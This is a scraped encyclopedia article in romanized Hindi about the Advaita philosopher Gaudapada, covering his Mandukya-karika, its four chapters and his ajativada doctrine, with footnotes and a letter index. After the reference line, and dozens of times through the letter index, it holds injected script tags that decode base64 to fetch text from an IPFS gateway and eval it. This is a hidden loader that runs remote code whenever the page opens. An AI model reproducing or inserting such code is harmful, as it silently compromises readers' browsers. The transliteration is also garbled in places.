गौड़पाद

	gau dapad
	gau dapad\|200px\|center
any nam	shri gau dapadachary
karm bhoomi	bharat
karm-kshetr	adhyatm tatha darshan
mukhy rachanaean	'mandooky karika', 'mandookyoan-panishatkarika', 'uttaragitabhashy' adi.
prasiddhi	darshanik, sant
nagarikata	bharatiy
sanbandhit lekh	advaitavad, shankarachary
vishesh	gau dapad ne advait vedant ke mukhy siddhaant 'mayavad', 'vivartavad' ya 'ajativad' ka b da hi spasht pratipadan kiya hai. sath hi unhoanne keval astik darshanoan ka hi nahian apitu bauddh darshanoan ka bhi saphal khandan kiya.
any janakari	gau dapad advait siddhaant ke pradhan udghaghoshak the. inhoanne apani karika mean jis siddhaant ko bijaroop mean prakat kiya, usi ko shankarachary ne apane granthoan mean vistrit roop se samajhakar sansar ke samane rakha.

gau dapad ek saankhyakarita vyakhya ke rachiyata evan advait siddhat ke prasiddh achary the. gau dapad saankhyakarita ke padyoan evan siddhatoan ki thik-thik vyakhya karane mean inaki tika mahattvapoorn hai. gau dapadachary ke jivan ke bare mean koee vishesh bat nahian milati. achary shankar ke shishy sureshvarachary ke 'naishkarmyasiddhi' granth se keval itana pata lagata hai ki ve gau d desh ke rahane vale the. isase pratit hota hai ki unaka janm 'badagl' praant ke kisi sthan mean hua tha. shankar ke jivan charitr se itana jnat hota hai ki gau dapadachary ke sath unaki bheant huee thi, parantu isake any praman nahian milate.

gau dapad ke siddhaant

gau dapad advait siddhaant ke pradhan udghaghoshak the. inhoanne apani karika mean jis siddhaant ko bijaroop mean prakat kiya, usi ko shankarachary ne apane granthoan mean vistrit roop se samajhakar sansar ke samane rakha. karikaoan mean unhoanne jis mat ka pratipadan kiya, use 'ajatavad' kahate haian. srishti ke vishay mean bhinn-bhinn sampradayoan ke bhinn-bhinn mat haian. koee kal se srishti manate haian aur koee bhagavan ke sankalp se isaki rachana manate haian. is prakar koee parinamavadi haian aur koee arambhavadi. kiantu gau dapad ke siddhaantanusar jagath ki utpatti hi nahian huee, keval ek akhand chidaghan satta hi mohavansh prapachchavat bhas rahi hai. yahi bat achary in shabdoan mean kahate haian-

manodrishyamidan dvaitamadvaitan paramarth:.
manaso hmamanibhave dvaitan naivopalabhyate॥

yah jitana 'dvait' hai, sab man ka hi drishy hai. par marthat: to advait hi hai, kyoanki man ke mananashoony ho jane par dvait ki upalabdhi nahian hoti.

achary ne apani karikaoan mean anek prakar ki yuktiyoan se yahi siddh kiya hai ki sath, asath athava sadasath kisi bhi prakar se prapachch ki utpatti siddh nahian ho sakati. at: paramarthat: n utpatti hai, n pralay hai, n baddh hai, n sadhak hai, n mumukshu hai aur n mukt hi hai:

n nirodho n chotpattirn baddho n ch sadhak:.
n mumuksharn vai mukt ityesha paramarthata॥

bas jo samast viruddh kalpanaoan ka adhishthan, sarvagat, asang apramey aur avikari atmatattv hai, ek matr vahi sadristu haian. maya ki mahima se rajjoo mean sarp, shukti mean rajat aur suvarn mean abhooshanadi ke saman us sarvasangashoony nirvishesh chittattv mean hi samast padarthoan ki pratiti ho rahi hai.

gau dapad ki rachanaean

gau dapadachary ka sabase pradhan granth hai- 'mandookyoan-panishatkarika'. isaka shankarachary ne bhashy likha hai. is karika ki 'mitakshara' namak tika bhi milati hai. unaki any tika hai- 'uttar gita-bhashy'. uttar gita (mahabharat) ka aansh hai, parantu yah aansh mahabharat ki sabhi pratiyoan mean nahian milata.

mandooky-karika

gau dapad rachit 'mandooky-karika' shankar poorv vedant ka ek prasiddh granth hai. gau dapad shankarachary ke guru govindapad ke guru kahe jate haian. yah nishchit nahian hai ki 'mandooky-karika' ke rachayita gau dapad 'saankhyakarika' par bhashy likhane vale gau dapad hi haian ya koee any. 'mandooky-karika' ko 'gau dapad karika' bhi kaha jata hai. 'mandooky-karika' 'mandookyopanishad' par likhi huee tika ke roop mean mani jati hai. gau dapad ki ek kriti 'uttaragitabhashy' bhi hai, parantu unake darshanik siddhaant ke lie karika hi prasiddh hai. karika par shankarachary ka bhashy bhi hai. donoan ka hindi anuvad gita pres, gorakhapur mean chhapa hai.

pratham prakaran

mandookyopanishad mean kul barah mantr haian, kintu ve b de hi mahattv ke haian. unamean advait vedant ke sabhi mool tattv pae jate haian. karika ka pratham prakaran (agam prakaran) chhathe mantr ke bad prarambh hota hai. in chhah mantroan mean kaha gaya hai ki atma char vedoan vala hai, thik vaise hi jaise 'oankar' mean char pad hote haian. oankar ke a, u, m ke anuroop sthool (jagrat), sookshm (svapn) aur karan (sushupti) sharir hai aur tadanuroop jagrat, svapn, sushupti ke tin devata (samishtiroop) vishv, tejash evan prajn haian. inhian ko vaishvanar, hiranyagarbh evan eeshvar kaha jata hai. is prakar vyashti evan samashti mean anuroopata hai. parantu uparyukt tin ke atirikt atma ka ek chautha pad hai, jo oankar ka amatraroop hai. vah pratham tin se vilakshan, unamean anugat, unaka adhishthan tatha unaka sakshi hai. atma ki vah turiyavastha avyavahary, prapanchopasham, shiv evan advait hai. jijnasu ke lie vahi jnatavy hai. vah atma, alakshan, agrahy, achinty, avyapadeshy tatha ekatmapratyayasar hai. vah n ant:prajn hai, n bahishprajn hai, n ubhayat:prajn hai aur n prajnanaghan hai. upanishad ke bad vale mantroan mean pratham tin avasthaoan ki upasana ka phal batalaya gaya hai aur kaha gaya hai ki turiyavastha ko janane vala vyakti hi paramarthatattv ki prapti karata hai.

mandookyopanishad ki isi shiksha ko adhar banakar karika ki rachana ki gee hai, jo chhathe mantr ke bad se prarambh hoti hai. karika mean char prakaran haian. agam prakaran, vaitathy prakaran, advait prakaran tatha alatashanti prakaran. pratham prakaran mean agam ya shruti ko adhar banaya gaya hai. gau dapad ka kahana hai ki tinoan avasthaoan mean jo tin prakar ke bhojy aur bhokta haian (sthool-vishv, sookshm-taijash, anand-prajn) unako janane vala vyakti sabhi bhogoan ko bhogate hue bhi bhog mean lipt nahian hota (karika 5). srishti karane ki bhala kyoan ichchha ho sakati hai. isi se advait vedant mean srishti vishayak charcha ka vishesh mahattv nahian hai. usaki upayogita keval advait siddhaant ke sthapan mean hi hai. advait hi paramarth hai aur dvait maya hai. turiyavastha ka anubhav ya advait ka bodh maya se mukt hone par hi hota hai. turiyavastha ya samadhi ki avastha jagrat evan svapn se hi nahian balki nidravastha se bhi bhinn hai, kyoanki atma sarvada sarvadrikh hai (karika 12. 13). anadimaya se mukt hokar jiv in tinoan se pare jata hai, kyoanki jnan ho jane par kisi prakar ka dvait nahian rah jata hai.^[2]

oopar oankar aur atma ki jo chatushpadavishayak anuroopata batalaee gee hai, usi ke adhar par oankar ko hi par aur oopar brahm kaha gaya hai aur oankar ki upasana ka upadesh hai. oankar ka upasak chinta aur bhay se mukt ho jata hai, kyoanki vah antat: atm jnani ho jata hai.

dvitiy prakaran

vaitathy ka arth mithyatv hai. at: dvitiy prakaran ya vaitathy prakaran mean dvait ka mithyatv yukti ya tark dvara dikhalaya gaya hai. is prakaran ki mukhy yukti yah hai ki jagrat aur svapnik padarthoan mean vastav mean koee bhed nahian hai, arthath jaise svapnik jagath kalpanik ya mithya hai, vaise hi jagrat jagath bhi kalpanik ya mithya hai.^[3] sadharanataya svapn aur jagrat mean yah bhed kiya jata hai ki jagrat jagath adhik sthayi hai, adhik vistar vala hai, sarv pratyaksh tatha svapn ko badhit karane vala hai. kintu vicharapoorvak dekha jaye to yah tark thik jnan nahian p data, kyoanki vistar, sthayitv, sarvapratyakshatv adi gun jagrat aur svapn mean prakar ka bhed nahian siddh karate haian. balki keval matra ka bhed siddh karate haian. yah bhi kaha ja sakata hai ki jaise jagrat padarthoan mean svapn jagath badhit ho jata hai, vaise hi svapn mean bhi jagrat padarthoan ki viparitata dekhi jati hai.^[4] udaharanarth pani pikar soye vyakti ko pyas ka svapn hota hai. jis prakar prakar jagrat avastha mean saty aur asaty ka bhed kiya jata hai, vaise hi svapnavastha mean bhi satyasaty ka bhed kiya jata hai, yadyapi poora svapn hi asaty hota hai. is prakar jagrat jagath aur svapn jagat-prakarat: saman jan p date haian. sare drishy padarth chahe ve svapn ke hoan chahe jagrat ke, svayanprakash-atma ki maya ya kalpana hai. antarik ya bahy sabhi padarth mithya haian, chahe ve chitkalik hoan ya dvikalik. jo vastu adi aur ant mean nahian hai, vah madhy kal ya drishy kal mean nahian hai.^[5] padarthoan ka bhed keval indriyoan ke karan hai. ajnan ke karan jaise rajju mean sarp ka abhas hota hai, vaise hi sare padarth atma mean kalpit haian. jaise rajju ka jnan hone par sarp ke mithyatv ka nishchay ho jata hai, vaise hi atma ka jnan ho jane par jagath ka mithyatv jnan p data hai. mool tattv ke vishay mean^[6] kee vad haian, parantu ve sabhi vad is atmatattv mean hi kalpit haian. vastav mean n pralay hai, n utpatti, n sadhak haian, n mumukshu haian aur n mukt hi. aisa jnan hi paramarthata hai.^[7] brahm se prithakh ya aprithakh koee any vastu nahian hai. is advait tattv ko janakar jnani jagath mean j davath vyavahar karata hai.

tritiy prakaran

karika tritiy prakaran advait prakaran hai, jisamean tark aur drishtaant ki sahayata se advait siddhaant ka pratipadan kiya gaya hai. yahaan atma ki tulana akash se ki gee hai. jaise akash sarvavyapi, saman, avikari tatha ek hai, vaise hi atma hai. jiv ghatakash ke saman hai n ki atma ka vika ya avayav.^[8] jaise ghat ke phoot jane par ghatakash aur bahyakash ki ekata spasht ho jati hai, vaise hi ajnan ke nasht ho jane par atma aur brahm ki ekata spasht ho jati hai. jaise moorkh vyakti ko akash malin jan p data hai, vaise hi ajnani ko atma vikari maloom p dati hai. dehadi samast sanghat mayajany svapn ke saman haian. shruti mean utpatti bodhak vaky gaun haian.^[9] mrittika, lauh, visphuliang adi ke udaharan brahm aur atma ki ekata dikhane ko haian. vibhinn staroan ke adhikariyoan ko dhyan mean rakhakar upanishadoan mean vibhinn prakar ki upasanaoan ki shiksha hai. kintu advait tattv to keval jnanagamy hi hai. matavishesh par agrah karane ke karan dvaitavadiyoan ka apas mean virodh hota hai, unase advaitavad ka kya virodh ho sakata hai, jabaki advaitavad ke lie sabhi prakar ke bhed mithya haian.^[10] dvait to vyavahar kshetr ka vishay hai. vah keval maya ke karan abhasit hota hai. atma ka n janm hai, n mrityu hai aur atma ek hai. is siddhaant ko drishti mean rakhakar hi shruti ke srishti vishayak vaky samajhane chahie. kisi bhi vastu ka janm maya se ho sakata hai, tatvat: nahian.^[11] jo log janm aur maran manate haian, unake mat mean bhi jo utpattishil aur maranashil hai, usi ka janm-maran hota hai. ajanma aur anashvar ka nahian.

ajativad ka siddhaant

isi prakaran mean gau dapad ne apane prasiddh siddhaant ajativad ka pratipadan kiya hai. karika 48 mean ve kahate haian ki koee bhi jiv utpann nahian hota, kyoanki usaka koee karan nahian hai. jis ajanma brahm mean kisi ki utpatti nahian hoti, vahi sarvottam saty hai. yah pahale kaha ja chuka hai ki shruti mean srishti vishayak vakyoan ka arth yah nahian hai ki srishti vastavik hai. aise vaky bhavishyadh vatti se gaun haian.^[12] vastuv mean shruti to ajativad ka hi upadesh karati hai, kyoanki upanishadoan mean spasht kaha gaya 'neh nanasti kianchan', - 'neti-neti' tatha 'nayan kutashchinn babhuv kashchith' adi. isi prakar tarkat: bhi yah kaha ja sakata hai ki asath (akashakusum) ki to kisi bhi prakar utpatti nahian ho sakati. utpatti sath-roop ki hi ho sakati hai, kintu vah bhi mayajany hi ho sakati hai, tatvat: nahian. tatv ki utpatti nahian ho sakati. n to ek tatv doosare tatv ki utpatti kar sakata hai aur n usaki utpatti asath se ho sakati hai. maya se jab tak man ka spandan hota rahata hai, tab tak dvait dikhata hai.^[13] at: jab apane bhav ki prapti hati hai, tab dvait ki upalabdhi nahian hoti.^[14] isi prasang mean gau dapad ne apane bhav^[15] tatha asparsh-yog ka varnan^[16] kiya hai. brahm ki prapti chitt ke lay ho jane par ya manonash se hi hoti hai. usaka sadhan asparsh yog hai, jisaka arth hai, mayajany ya jagath se sarvatha achhoota ya aspasht rahana ya maya ke pare jana.

chautha prakaran

alatashanti prakaran chautha prakaran hai. is prakaran ke bare mean vivad hai ki gau dapad dvara rachit hai ya kisi bauddh dvara, kyoanki isamean buddh shabd^[17] ka hi nahian apitu bauddh darshan ke anek shabdoan ka prayog hai. iparampara ke anusar gau dapad rachit mana gaya hai. is prakaran mean pun: dvaitavadiyoan ka khandan karate hue kaha gaya hai ki kisi bhi vastu ke svabhav ka viparyay nahian hota, at: ajati hi param saty hai. saankhy ke satkaryavad ka khandan karate hue kaha gaya hai.^[18] ki yadi karyakaran abhinn hai to kary bhi ajanma ho jata hai. ajanma se kisi ki utpatti ho, isake lie koee praman ya drishtaant nahian hai.^[19] isi prakar hetu aur phal ke anaditv ko bhi siddh nahian kiya ja sakata. hetu phal ke poorva par ka ajnan siddh karata hai ki vastav mean utpatti ka karan ajnan hi hai arthath usase ajati hi siddh hoti hai. utpatti n svat: ho sakati hai aur n parat:.^[20] yahaan par kuchh log gau dapad ka nagarjun se samy dikhate haian. chitt se vijnan ki utpatti hoti hai. is vijnanavadi siddhaant ka bhi khandan kiya gaya hai. vastav mean chitt tatv ka sparsh nahian kar sakata. jaise vijnan mithya hai, vaise hi chitt bhi mithya hai. yahaan phir jagath ko svapnik bataya gaya hai. asath se n to asath ki utpatti hoti hai aur n hi sath ki. vaise hi sath se n sath ki utpatti hoti hai aur n asath ki.^[21] jagath ki satta to keval upalabdhi aur vyavahar ke adhar par mani gee hai.^[22] paramarth saty to ajati hi hai, jaise alat spandan se sidha, tedha bhinn bhinn roopoan mean dikhaee p data hai, vaise hi vijnan ka bhi skuran hota hai, isamean dravyatv nahian hota hai. jab tak hetu phal par agrah hai, tabhi tak utpatti aur nash dekhe jate haian. jab hetu phal par agrah kshin ho jata hai, tabhi sansar ka bhi abhav ho jata hai.^[23] paramarthataya sab kuchh aj hi hai.^[24] atma jo aj bhi vyavaharik drishti se kaha jata hai. paramarthat: to vah shabd se pare hai, at: use aj bhi nahian kaha ja sakata.^[25] mand buddhi vale log hi atma ke vishay mean kahate haian ki vah hai, nahian hai, hai aur nahian hai, vah nahian hai nahian hai. vastav mean atma madhyamikoan ki chatushkoti se pare hai.^[26] dvaitavadi vasvat mean kripan haian, ve abhay roop advait tatv mean bhay dekhane vale hote haian (abheyebhayadarshin:). atmajnani hi akripan hai, vahi nirbhay hai. bauddhoan mean yah siddhaant nahian paya jata hai.

oopar ke vivechan se yah spasht ho jata hai ki gau dapad ne advait vedant ke mukhy siddhaant mayavad, vivartavad ya ajativad ka b da hi spasht pratipadan kiya hai. sath hi unhoanne keval astik darshanoan (saankhy, nyay adi) ka hi nahian apitu bauddh darshanoan ka bhi saphal khandan kiya hai. isake atirikt unhoanne upalabdhi ki shiksha mean dikhakar usaki sangati ko tark se bhi siddh kiya hai. is drishti se gau dapad karika-advaitavad vedant ka anupam granth hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

tripathi, pro. ramakant vishv ke pramukh darshanik (hindi). bharatadiskavari pustakalay: vaijnanik tatha takaniki shabdavali ayog, nee dilli, 193.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

↑ saankhy, nyay adi
↑ karika 16-18
↑ yatha tatr tatha svapne-karika 4
↑ karika 7
↑ karika 6
↑ karika 20-28
↑ karika 32
↑ karika 7
↑ karika 14
↑ karika 17
↑ karika 27
↑ karika 14
↑ karika 29
↑ karika 38
↑ karika 34-38
↑ karika 39-47
↑ karika 1
↑ karika 11-12
↑ karika 13
↑ karika 22
↑ karika 40
↑ karika 44
↑ karika 55-56
↑ karika 57 tatha karika 71
↑ karika 74
↑ karika 83-84

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> oo <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> e <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ai <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> o <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>au <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> k <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>kh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> g <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ch <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h 